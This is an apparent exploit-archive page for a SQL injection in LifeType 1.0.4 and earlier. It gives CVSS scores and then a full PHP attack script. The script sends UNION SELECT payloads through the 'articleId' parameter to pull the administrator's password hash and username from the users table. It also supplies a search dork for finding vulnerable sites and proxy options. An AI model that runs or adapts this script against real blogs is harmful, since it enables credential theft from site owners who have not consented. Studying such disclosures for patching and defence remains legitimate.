LifeType <=1.0.4 'articleId' SQL injection

2006-06-07 / 2006-06-08
Credit: rgod
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "LifeType <= 1.0.4_r3270 SQL injection / admin credentials disclosurern"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrn"; echo "dork: "Powered by LifeType" "RSS 0.90" "RSS 1.0" "RSS 2.0" "Valid XHTML 1.0 Strict and CSS"rnrn"; /* works regardless of magic_quotes_gpc settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to LifeTypern"; echo "user/pass: you need an accountrn"; echo "Options:rn"; echo " -T[prefix] specify a table prefix different from 'lt_'rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /lt/ rn"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="lt_"; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sql="9999/**/UNION/**/SELECT/**/password,1,1,1,1,1,1,1/**/FROM/**/".$pr efix."users/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet ="GET ".$p."index.php?op=ViewArticle&articleId=".$sql."&blogId=1 HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("articleId=",$html); for ($i=1; $i<=count($temp); $i++) { $temp2=explode("&",$temp[$i]); if (is_hash($temp2[0])) { echo "exploit succeeded...rn"; echo "MD5 hash -> ".$temp2[0]."rn"; $sql="9999/**/UNION/**/SELECT/**/user,1,1,1,1,1,1,1/**/FROM/**/".$prefix ."users/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet ="GET ".$p."index.php?op=ViewArticle&articleId=".$sql."&blogId=1 HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("articleId=",$html); $temp2=explode("&",$temp[$i]); echo "admin -> ".$temp2[0]."rn"; die; } } //if you are here... echo "exploit failed..."; ?> original url:

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